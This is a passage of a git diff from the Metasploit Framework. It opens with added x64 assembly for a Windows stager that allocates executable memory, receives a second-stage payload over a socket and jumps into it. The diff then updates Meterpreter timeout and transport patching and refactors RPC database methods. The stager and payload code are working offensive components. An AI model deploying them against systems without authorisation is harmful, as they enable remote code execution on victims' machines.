NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + mov rbx, rax ; rbx = our new memory address for the new stage + mov r15, rax ; save the address so we can jump into it later + read_more: ; + xor r9, r9 ; flags + mov r8, rsi ; length + mov rdx, rbx ; the current address into our second stages RWX buffer + mov rcx, rdi ; the saved socket + mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + call rbp ; recv( s, buffer, length, 0 ); + add rbx, rax ; buffer += bytes_received + sub rsi, rax ; length -= bytes_received + test rsi, rsi ; test length + jnz read_more ; continue if we have more to read + jmp r15 ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end diff --git a/lib/msf/core/payload/windows/x64/stageless_meterpreter.rb b/lib/msf/core/payload/windows/x64/stageless_meterpreter.rb index 89f327338f..98bf26cc48 100644 --- a/lib/msf/core/payload/windows/x64/stageless_meterpreter.rb +++ b/lib/msf/core/payload/windows/x64/stageless_meterpreter.rb @@ -52,7 +52,7 @@ module Payload::Windows::StagelessMeterpreter_x64 end def generate_stageless_x64(url = nil) - dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll')) + dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll')) conf = { :rdi_offset => offset, @@ -85,6 +85,16 @@ module Payload::Windows::StagelessMeterpreter_x64 end end + # Patch in the timeout options + timeout_opts = { + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + + Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts) + # if a block is given then call that with the meterpreter dll # so that custom patching can happen if required yield dll if block_given? @@ -94,7 +104,7 @@ module Payload::Windows::StagelessMeterpreter_x64 unless datastore['EXTENSIONS'].nil? datastore['EXTENSIONS'].split(',').each do |e| e = e.strip.downcase - ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x64.dll')) + ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x64.dll')) # append the size, offset to RDI and the payload itself dll << [ext.length].pack('V') + ext diff --git a/lib/msf/core/rpc/v10/rpc_db.rb b/lib/msf/core/rpc/v10/rpc_db.rb index b7aadcb77d..8ed864d14f 100644 --- a/lib/msf/core/rpc/v10/rpc_db.rb +++ b/lib/msf/core/rpc/v10/rpc_db.rb @@ -12,7 +12,7 @@ private end def find_workspace(wspace = nil) - if(wspace and wspace != "") + if wspace and wspace != "" return self.framework.db.find_workspace(wspace) || error(500, "Invalid workspace") end self.framework.db.workspace @@ -104,36 +104,58 @@ private return opts, opts[:workspace] end + def get_notes(xopts) + ::ActiveRecord::Base.connection_pool.with_connection { + opts, wspace = init_db_opts_workspace(xopts) + notes = [] + + host = self.framework.db.get_host(opts) + return notes if not host + + if opts[:proto] && opts[:port] + services = [] + nret = host.services.find_by_proto_and_port(opts[:proto], opts[:port]) + return ret if nret == nil + services << nret if nret.class == ::Mdm::Service + services |= nret if nret.class == Array + + services.each do |s| + nret = nil + if opts[:ntype] + nret = s.notes.find_by_ntype(opts[:ntype]) + else + nret = s.notes + end + next if nret == nil + notes << nret if nret.class == ::Mdm::Note + notes |= nret if nret.class == Array + end + else + notes = host.notes + end + notes + } + end + public - # Creates a credential. + # Creates a cracked credential. # - # @note Despite the fact the method name for this is called "rpc_create_cracked_credential", it - # does not actually call the create_cracked_credential API in metasploit-credential. Instead, - # it calls create_credential. - # @todo This method needs to call create_cracked_credential, not create_credential. # @param [Hash] xopts Credential options. (See #create_credential Documentation) # @return [Metasploit::Credential::Core] # @see https://github.com/rapid7/metasploit-credential/blob/master/lib/metasploit/credential/creation.rb#L107 #create_credential Documentation. # @see #rpc_create_credential # @example Here's how you would use this from the client: # opts = { - # origin_type: :service, - # address: '192.168.1.100', - # port: 445, - # service_name: 'smb', - # protocol: 'tcp', - # module_fullname: 'auxiliary/scanner/smb/smb_login', - # workspace_id: myworkspace_id, - # private_data: 'password1', - # private_type: :password, - # username: 'Administrator' + # username: username, + # password: password, + # core_id: core_id # } # rpc.call('db.create_cracked_credential', opts) def rpc_create_cracked_credential(xopts) opts = fix_cred_options(xopts) - create_credential(opts) + create_cracked_credential(opts) end @@ -427,7 +449,7 @@ public wspace.vulns.includes(:service).where(conditions).offset(offset).limit(limit).each do |v| vuln = {} reflist = v.refs.map { |r| r.name } - if(v.service) + if v.service vuln[:port] = v.service.port vuln[:proto] = v.service.proto else @@ -506,7 +528,7 @@ public wspace = find_workspace(wspace) ret = {} ret[:workspace] = [] - if(wspace) + if wspace w = {} w[:name] = wspace.name w[:id] = wspace.id @@ -521,7 +543,11 @@ public # Sets a workspace. # # @param [String] wspace Workspace name. - # @raise [Msf::RPC::Exception] 500 Database not loaded. + # @raise [Msf::RPC::ServerException] You might get one of these errors: + # * 500 ActiveRecord::ConnectionNotEstablished. Try: rpc.call('console.create'). + # * 500 Database not loaded. Try: rpc.call('console.create') + # * 500 Invalid workspace + # * 404 Workspace not found. # @return [Hash] A hash indicating whether the action was successful or not. You will get: # * 'result' [String] A message that says either 'success' or 'failed' # @example Here's how you would use this from the client: @@ -530,8 +556,8 @@ public def rpc_set_workspace(wspace) ::ActiveRecord::Base.connection_pool.with_connection { db_check - workspace = self.framework.db.find_workspace(wspace) - if(workspace) + workspace = find_workspace(wspace) + if workspace self.framework.db.workspace = workspace return { 'result' => "success" } end @@ -555,7 +581,7 @@ public ::ActiveRecord::Base.connection_pool.with_connection { db_check # Delete workspace - workspace = self.framework.db.find_workspace(wspace) + workspace = find_workspace(wspace) if workspace.nil? error(404, "Workspace not found: #{wspace}") elsif workspace.default? @@ -587,7 +613,7 @@ public ::ActiveRecord::Base.connection_pool.with_connection { db_check wspace = self.framework.db.add_workspace(wspace) - return { 'result' => 'success' } if(wspace) + return { 'result' => 'success' } if wspace { 'result' => 'failed' } } end @@ -627,7 +653,7 @@ public ret[:host] = [] opts = fix_options(xopts) h = self.framework.db.get_host(opts) - if(h) + if h host = {} host[:created_at] = h.created_at.to_i host[:address] = h.address.to_s @@ -676,7 +702,7 @@ public opts, wspace = init_db_opts_workspace(xopts) res = self.framework.db.report_host(opts) - return { :result => 'success' } if(res) + return { :result => 'success' } if res { :result => 'failed' } } end @@ -702,7 +728,7 @@ public ::ActiveRecord::Base.connection_pool.with_connection { opts, wspace = init_db_opts_workspace(xopts) res = self.framework.db.report_service(opts) - return { :result => 'success' } if(res) + return { :result => 'success' } if res { :result => 'failed' } } end @@ -742,16 +768,16 @@ public services = [] sret = nil - if(host && opts[:proto] && opts[:port]) + if host && opts[:proto] && opts[:port] sret = host.services.find_by_proto_and_port(opts[:proto], opts[:port]) - elsif(opts[:proto] && opts[:port]) + elsif opts[:proto] && opts[:port] conditions = {} conditions[:state] = [Msf::ServiceState::Open] if opts[:up] conditions[:proto] = opts[:proto] if opts[:proto] conditions[:port] = opts[:port] if opts[:port] conditions[:name] = opts[:names] if opts[:names] sret = wspace.services.where(conditions).order("hosts.address, port") - else + elsif host sret = host.services end return ret if sret == nil @@ -776,10 +802,12 @@ public } end - # Returns a note. # # @param [Hash] xopts Options. + # @option xopts [String] :addr Host address. + # @option xopts [String] :address Same as :addr. + # @option xopts [String] :host Same as :address. # @option xopts [String] :proto Protocol. # @option xopts [Fixnum] :port Port. # @option xopts [String] :ntype Note type. @@ -801,37 +829,11 @@ public # @example Here's how you would use this from the client: # rpc.call('db.get_note', {:proto => 'tcp', :port => 80}) def rpc_get_note(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - ret = {} ret[:note] = [] - host = self.framework.db.get_host(opts) + notes = get_notes(xopts) - return ret if( not host) - notes = [] - if(opts[:proto] && opts[:port]) - services = [] - nret = host.services.find_by_proto_and_port(opts[:proto], opts[:port]) - return ret if nret == nil - services << nret if nret.class == ::Mdm::Service - services |= nret if nret.class == Array - - services.each do |s| - nret = nil - if opts[:ntype] - nret = s.notes.find_by_ntype(opts[:ntype]) - else - nret = s.notes - end - next if nret == nil - notes << nret if nret.class == ::Mdm::Note - notes |= nret if nret.class == Array - end - else - notes = host.notes - end notes.each do |n| note = {} host = n.host @@ -849,7 +851,6 @@ public ret[:note] << note end ret - } end @@ -879,7 +880,7 @@ public ret = {} ret[:client] = [] c = self.framework.db.get_client(opts) - if(c) + if c client = {} host = c.host client[:host] = host.address @@ -916,7 +917,7 @@ public ::ActiveRecord::Base.connection_pool.with_connection { opts, wspace = init_db_opts_workspace(xopts) res = self.framework.db.report_client(opts) - return { :result => 'success' } if(res) + return { :result => 'success' } if res { :result => 'failed' } } end @@ -951,12 +952,16 @@ public addr = opts[:host] || opts[:address] wspace = opts[:workspace] || self.framework.db.workspace host = wspace.hosts.find_by_address(addr) - service = host.services.find_by_proto_and_port(opts[:proto],opts[:port]) if host.services.count > 0 - opts[:service] = service if service + if host && host.services.count > 0 + service = host.services.find_by_proto_and_port(opts[:proto],opts[:port]) + if service + opts[:service] = service + end + end end res = self.framework.db.report_note(opts) - return { :result => 'success' } if(res) + return { :result => 'success' } if res { :result => 'failed' } } end @@ -994,7 +999,7 @@ public conditions["hosts.address"] = opts[:addresses] if opts[:addresses] conditions[:name] = opts[:names].strip().split(",") if opts[:names] conditions[:ntype] = opts[:ntype] if opts[:ntype] - conditions["services.port"] = Rex::Socket.portspec_to_portlist(opts[:ports]) if opts[:port] + conditions["services.port"] = Rex::Socket.portspec_to_portlist(opts[:ports]) if opts[:ports] conditions["services.proto"] = opts[:proto] if opts[:proto] ret = {} @@ -1004,8 +1009,8 @@ public note[:time] = n.created_at.to_i note[:host] = "" note[:service] = "" - note[:host] = n.host.address if(n.host) - note[:service] = n.service.name || n.service.port if(n.service) + note[:host] = n.host.address if n.host + note[:service] = n.service.name || n.service.port if n.service note[:type ] = n.ntype.to_s note[:data] = n.data.inspect ret[:notes] << note @@ -1059,19 +1064,20 @@ public def rpc_del_vuln(xopts) ::ActiveRecord::Base.connection_pool.with_connection { opts, wspace = init_db_opts_workspace(xopts) + opts[:workspace] = opts[:workspace].name hosts = [] services = [] vulns = [] if opts[:host] or opts[:address] or opts[:addresses] - hosts = opts_to_hosts(opts) + hosts = opts_to_hosts(xopts) end if opts[:port] or opts[:proto] if opts[:host] or opts[:address] or opts[:addresses] - services = opts_to_services(hosts,opts) + services = opts_to_services(hosts,xopts) else - services = opts_to_services([],opts) + services = opts_to_services([],xopts) end end @@ -1150,58 +1156,8 @@ public # @example Here's how you would use this from the client: # rpc.call('db.del_note', {:workspace=>'default', :host=>ip, :port=>443, :proto=>'tcp'}) def rpc_del_note(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - hosts = [] - services = [] - notes = [] + notes = get_notes(xopts) - if opts[:host] or opts[:address] or opts[:addresses] - hosts = opts_to_hosts(opts) - end - - if opts[:port] or opts[:proto] - if opts[:host] or opts[:address] or opts[:addresses] - services = opts_to_services(hosts,opts) - else - services = opts_to_services([],opts) - end - end - - if opts[:port] or opts[:proto] - services.each do |s| - nret = nil - if opts[:ntype] - nret = s.notes.find_by_ntype(opts[:ntype]) - else - nret = s.notes - end - next if nret == nil - notes << nret if nret.class == ::Mdm::Note - notes |= nret if nret.class == Array - end - elsif opts[:address] or opts[:host] or opts[:addresses] - hosts.each do |h| - nret = nil - if opts[:ntype] - nret = h.notes.find_by_ntype(opts[:ntype]) - else - nret = h.notes - end - next if nret == nil - notes << nret if nret.class == ::Mdm::Note - notes |= nret if nret.class == Array - end - else - nret = nil - if opts[:ntype] - nret = wspace.notes.find_by_ntype(opts[:ntype]) - else - nret = wspace.notes - end - notes << nret if nret.class == ::Mdm::Note - notes |= nret if nret.class == Array - end deleted = [] notes.each do |n| dent = {} @@ -1214,7 +1170,6 @@ public end return { :result => 'success', :deleted => deleted } - } end @@ -1366,7 +1321,7 @@ public opts = fix_options(xopts) opts[:workspace] = find_workspace(opts[:workspace]) if opts[:workspace] res = self.framework.db.report_vuln(opts) - return { :result => 'success' } if(res) + return { :result => 'success' } if res { :result => 'failed' } } end @@ -1404,12 +1359,12 @@ public wspace.events.offset(offset).limit(limit).each do |e| event = {} - event[:host] = e.host.address if(e.host) + event[:host] = e.host.address if e.host event[:created_at] = e.created_at.to_i event[:updated_at] = e.updated_at.to_i event[:name] = e.name - event[:critical] = e.critical if(e.critical) - event[:username] = e.username if(e.username) + event[:critical] = e.critical if e.critical + event[:username] = e.username if e.username event[:info] = e.info ret[:events] << event end @@ -1436,7 +1391,7 @@ public ::ActiveRecord::Base.connection_pool.with_connection { opts, wspace = init_db_opts_workspace(xopts) res = self.framework.db.report_event(opts) - { :result => 'success' } if(res) + { :result => 'success' } if res } end @@ -1471,7 +1426,7 @@ public end res = self.framework.db.report_loot(opts) - { :result => 'success' } if(res) + { :result => 'success' } if res } end @@ -1509,8 +1464,8 @@ public ret[:loots] = [] wspace.loots.offset(offset).limit(limit).each do |l| loot = {} - loot[:host] = l.host.address if(l.host) - loot[:service] = l.service.name || l.service.port if(l.service) + loot[:host] = l.host.address if l.host + loot[:service] = l.service.name || l.service.port if l.service loot[:ltype] = l.ltype loot[:ctype] = l.content_type loot[:data] = l.data @@ -1611,10 +1566,10 @@ public host = self.framework.db.get_host(opts) - return ret if( not host) + return ret if not host vulns = [] - if(opts[:proto] && opts[:port]) + if opts[:proto] && opts[:port] services = [] sret = host.services.find_by_proto_and_port(opts[:proto], opts[:port]) return ret if sret == nil @@ -1731,7 +1686,7 @@ public clients = [] if opts[:host] or opts[:address] or opts[:addresses] - hosts = opts_to_hosts(opts) + hosts = opts_to_hosts(xopts) else hosts = wspace.hosts end @@ -1806,7 +1761,7 @@ public # rpc.call('db.connect', {:driver=>'postgresql'}) def rpc_connect(xopts) opts = fix_options(xopts) - if(not self.framework.db.driver and not opts[:driver]) + if not self.framework.db.driver and not opts[:driver] return { :result => 'failed' } end diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index 29929aee2c..25b786426b 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -389,6 +389,10 @@ module Session # attr_accessor :payload_uuid # + # The unique machine identifier for the host that created this session + # + attr_accessor :machine_id + # # The actual exploit module instance that created this session # attr_accessor :exploit diff --git a/lib/msf/http/wordpress/version.rb b/lib/msf/http/wordpress/version.rb index 0358d7cbbf..f3dc60cab9 100644 --- a/lib/msf/http/wordpress/version.rb +++ b/lib/msf/http/wordpress/version.rb @@ -172,7 +172,7 @@ module Msf::HTTP::Wordpress::Version # Version older than fixed version if Gem::Version.new(version) < Gem::Version.new(fixed_version) if vuln_introduced_version.nil? - # All versions are vulnerable + # Older than fixed version, no vuln introduction date, flag as vuln return Msf::Exploit::CheckCode::Appears # vuln_introduced_version provided, check if version is newer elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version) diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 4a3442255a..300736ee75 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -10,13 +10,17 @@ module Rex ### module Patch + # # Replace the transport string + # def self.patch_transport!(blob, ssl) str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str) end + # # Replace the URL + # def self.patch_url!(blob, url) unless patch_string!(blob, "https://#{'X' * 512}", url) # If the patching failed this could mean that we are somehow @@ -26,34 +30,28 @@ module Rex end end - # Replace the session expiration timeout - def self.patch_expiration!(blob, expiration) - - i = blob.index([0xb64be661].pack("V")) + # + # Replace the timeout data with the actual timeout values. + # + def self.patch_timeouts!(blob, opts) + i = blob.index("METERP_TIMEOUTS\x00") if i - str = [ expiration ].pack("V") - blob[i, str.length] = str + data = [opts[:expiration].to_i, opts[:comm_timeout].to_i, + opts[:retry_total].to_i, opts[:retry_wait].to_i].pack("VVVV") + blob[i, data.length] = data end - - end - - # Replace the session communication timeout - def self.patch_comm_timeout!(blob, comm_timeout) - - i = blob.index([0xaf79257f].pack("V")) - if i - str = [ comm_timeout ].pack("V") - blob[i, str.length] = str - end - end + # # Replace the user agent string with our option + # def self.patch_ua!(blob, ua) patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00") end + # # Activate a custom proxy + # def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type) if proxyhost && proxyhost.to_s != "" @@ -73,7 +71,9 @@ module Rex end end + # # Proxy authentification + # def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type) return if proxy_type.nil? || proxy_type.upcase == 'SOCKS' @@ -93,7 +93,9 @@ module Rex end end + # # Patch the ssl cert hash + # def self.patch_ssl_check!(blob, ssl_cert_hash) # SSL cert location is an ASCII string, so no need for # WCHAR support @@ -105,24 +107,25 @@ module Rex end end + # # Patch options into metsrv for reverse HTTP payloads - def self.patch_passive_service!(blob, options) + # + def self.patch_passive_service!(blob, opts) - patch_transport!(blob, options[:ssl]) - patch_url!(blob, options[:url]) - patch_expiration!(blob, options[:expiration]) - patch_comm_timeout!(blob, options[:comm_timeout]) - patch_ua!(blob, options[:ua]) - patch_ssl_check!(blob, options[:ssl_cert_hash]) + patch_transport!(blob, opts[:ssl]) + patch_url!(blob, opts[:url]) + patch_timeouts!(blob, opts) + patch_ua!(blob, opts[:ua]) + patch_ssl_check!(blob, opts[:ssl_cert_hash]) patch_proxy!(blob, - options[:proxy_host], - options[:proxy_port], - options[:proxy_type] + opts[:proxy_host], + opts[:proxy_port], + opts[:proxy_type] ) patch_proxy_auth!(blob, - options[:proxy_user], - options[:proxy_pass], - options[:proxy_type] + opts[:proxy_user], + opts[:proxy_pass], + opts[:proxy_type] ) end diff --git a/lib/rex/post/meterpreter.rb b/lib/rex/post/meterpreter.rb index 8986c6f0b4..9c3b98160a 100644 --- a/lib/rex/post/meterpreter.rb +++ b/lib/rex/post/meterpreter.rb @@ -1,5 +1,5 @@ # -*- coding: binary -*- -require 'meterpreter_bins' +require 'metasploit-payloads' require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/ui/console' diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 240039157e..b4d08daf2c 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -85,11 +85,18 @@ class Client # Cleans up the meterpreter instance, terminating the dispatcher thread. # def cleanup_meterpreter - ext.aliases.each_value do | extension | - extension.cleanup if extension.respond_to?( 'cleanup' ) + if not self.skip_cleanup + ext.aliases.each_value do | extension | + extension.cleanup if extension.respond_to?( 'cleanup' ) + end end + dispatcher_thread.kill if dispatcher_thread - core.shutdown rescue nil + + if not self.skip_cleanup + core.shutdown rescue nil + end + shutdown_passive_dispatcher end @@ -111,6 +118,8 @@ class Client self.ssl = opts[:ssl] self.expiration = opts[:expiration] self.comm_timeout = opts[:comm_timeout] + self.retry_total = opts[:retry_total] + self.retry_wait = opts[:retry_wait] self.passive_dispatcher = opts[:passive_dispatcher] self.response_timeout = opts[:timeout] || self.class.default_timeout @@ -453,6 +462,14 @@ class Client # attr_accessor :comm_timeout # + # The total time for retrying connections + # + attr_accessor :retry_total + # + # The time to wait between retry attempts + # + attr_accessor :retry_wait + # # The Passive Dispatcher # attr_accessor :passive_dispatcher @@ -464,6 +481,10 @@ class Client # A list of the commands # attr_reader :commands + # + # The timestamp of the last received response + # + attr_accessor :last_checkin protected attr_accessor :parser, :ext_aliases # :nodoc: diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 7970b44bea..7bee145870 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -39,8 +39,10 @@ class ClientCore < Extension METERPRETER_TRANSPORT_HTTP = 1 METERPRETER_TRANSPORT_HTTPS = 2 - DEFAULT_SESSION_EXPIRATION = 24*3600*7 - DEFAULT_COMMS_TIMEOUT = 300 + TIMEOUT_SESSION = 24*3600*7 # 1 week + TIMEOUT_COMMS = 300 # 5 minutes + TIMEOUT_RETRY_TOTAL = 60*60 # 1 hour + TIMEOUT_RETRY_WAIT = 10 # 10 seconds VALID_TRANSPORTS = { 'reverse_tcp' => METERPRETER_TRANSPORT_SSL, @@ -63,7 +65,7 @@ class ClientCore < Extension # Core commands # ## - # + # # Get a list of loaded commands for the given extension. # @@ -98,6 +100,32 @@ class ClientCore < Extension commands end + def set_transport_timeouts(opts={}) + request = Packet.create_request('core_transport_set_timeouts') + + if opts[:session_exp] + request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) + end + if opts[:comm_timeout] + request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) + end + if opts[:retry_total] + request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) + end + if opts[:retry_wait] + request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) + end + + response = client.send_request(request) + + { + :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), + :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), + :retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), + :retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT) + } + end + # # Loads a library on the remote meterpreter instance. This method # supports loading both extension and non-extension libraries and @@ -221,7 +249,7 @@ class ClientCore < Extension # Get us to the installation root and then into data/meterpreter, where # the file is expected to be modname = "ext_server_#{mod.downcase}" - path = MeterpreterBinaries.path(modname, client.binary_suffix) + path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix) if opts['ExtensionPath'] path = ::File.expand_path(opts['ExtensionPath']) @@ -245,14 +273,16 @@ class ClientCore < Extension return true end - def machine_id + def machine_id(timeout=nil) request = Packet.create_request('core_machine_id') - response = client.send_request(request) + args = [ request ] + args << timeout if timeout - id = response.get_tlv_value(TLV_TYPE_MACHINE_ID) - # TODO: Determine if we're going to MD5/SHA1 this - return Rex::Text.md5(id) + response = client.send_request(*args) + + mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID) + return Rex::Text.md5(mid) end def transport_change(opts={}) @@ -275,6 +305,22 @@ class ClientCore < Extension scheme = opts[:transport].split('_')[1] url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" + if opts[:comm_timeout] + request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) + end + + if opts[:session_exp] + request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) + end + + if opts[:retry_total] + request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) + end + + if opts[:retry_wait] + request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) + end + # do more magic work for http(s) payloads unless opts[:transport].ends_with?('tcp') sum = uri_checksum_lookup(:connect) @@ -288,12 +334,6 @@ class ClientCore < Extension end url << generate_uri_uuid(sum, uuid) + '/' - opts[:comms_timeout] ||= DEFAULT_COMMS_TIMEOUT - request.add_tlv(TLV_TYPE_TRANS_COMMS_TIMEOUT, opts[:comms_timeout]) - - opts[:session_exp] ||= DEFAULT_SESSION_EXPIRATION - request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) - # TODO: randomise if not specified? opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua]) @@ -595,41 +635,49 @@ class ClientCore < Extension # Create the migrate stager migrate_stager = c.new() - dll = MeterpreterBinaries.path('metsrv',binary_suffix) + dll = MetasploitPayloads.meterpreter_path('metsrv', binary_suffix) if dll.nil? raise RuntimeError, "metsrv.#{binary_suffix} not found", caller end migrate_stager.datastore['DLL'] = dll + # Pass the timeout information to the RDI loader so that it correctly + # patches the timeouts into the binary. + migrate_stager.datastore['SessionExpirationTimeout'] = self.client.expiration + migrate_stager.datastore['SessionCommunicationTimeout'] = self.client.comm_timeout + migrate_stager.datastore['SessionRetryTotal'] = self.client.retry_total + migrate_stager.datastore['SessionRetryWait'] = self.client.retry_wait + blob = migrate_stager.stage_payload if client.passive_service - - # - # Patch options into metsrv for reverse HTTP payloads - # - Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, - :ssl => client.ssl, - :url => self.client.url, - :expiration => self.client.expiration, - :comm_timeout => self.client.comm_timeout, - :ua => client.exploit_datastore['MeterpreterUserAgent'], - :proxy_host => client.exploit_datastore['PayloadProxyHost'], - :proxy_port => client.exploit_datastore['PayloadProxyPort'], - :proxy_type => client.exploit_datastore['PayloadProxyType'], - :proxy_user => client.exploit_datastore['PayloadProxyUser'], - :proxy_pass => client.exploit_datastore['PayloadProxyPass'] - + # Patch options into metsrv for reverse HTTP payloads. + Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob, + :ssl => client.ssl, + :url => self.client.url, + :expiration => self.client.expiration, + :comm_timeout => self.client.comm_timeout, + :retry_total => self.client.retry_total, + :retry_wait => self.client.retry_wait, + :ua => client.exploit_datastore['MeterpreterUserAgent'], + :proxy_host => client.exploit_datastore['PayloadProxyHost'], + :proxy_port => client.exploit_datastore['PayloadProxyPort'], + :proxy_type => client.exploit_datastore['PayloadProxyType'], + :proxy_user => client.exploit_datastore['PayloadProxyUser'], + :proxy_pass => client.exploit_datastore['PayloadProxyPass']) end blob end def generate_linux_stub - file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin") - blob = ::File.open(file, "rb") {|f| - f.read(f.stat.size) - } + blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin') + + Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob, + :expiration => self.client.expiration, + :comm_timeout => self.client.comm_timeout, + :retry_total => self.client.retry_total, + :retry_wait => self.client.retry_wait) blob end diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index 71575128f9..96a2e4fc6f 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -45,7 +45,7 @@ class Priv < Extension elevator_name = Rex::Text.rand_text_alpha_lower( 6 ) - elevator_path = MeterpreterBinaries.path('elevator', client.binary_suffix) + elevator_path = MetasploitPayloads.meterpreter_path('elevator', client.binary_suffix) if elevator_path.nil? raise RuntimeError, "elevator.#{binary_suffix} not found", caller end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index f176d7f84c..338e89642d 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -157,7 +157,7 @@ class UI < Rex::Post::UI # include the x64 screenshot dll if the host OS is x64 if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ ) - screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll') + screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x64.dll') if screenshot_path.nil? raise RuntimeError, "screenshot.x64.dll not found", caller end @@ -172,7 +172,7 @@ class UI < Rex::Post::UI end # but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64 - screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll') + screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x86.dll') if screenshot_path.nil? raise RuntimeError, "screenshot.x86.dll not found", caller end diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index ec6a144c46..01f432c3bf 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -91,12 +91,14 @@ TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409 TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431 TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 -TLV_TYPE_TRANS_COMMS_TIMEOUT = TLV_META_TYPE_UINT | 433 +TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434 TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 TLV_TYPE_TRANS_PROXY_INFO = TLV_META_TYPE_STRING | 436 TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 +TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 +TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 @@ -194,13 +196,14 @@ class Tlv when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH" when TLV_TYPE_TRANS_TYPE; "TRANS-TYPE" when TLV_TYPE_TRANS_URL; "TRANS-URL" - when TLV_TYPE_TRANS_COMMS_TIMEOUT; "TRANS-COMMS-TIMEOUT" + when TLV_TYPE_TRANS_COMM_TIMEOUT; "TRANS-COMM-TIMEOUT" when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP" when TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH" 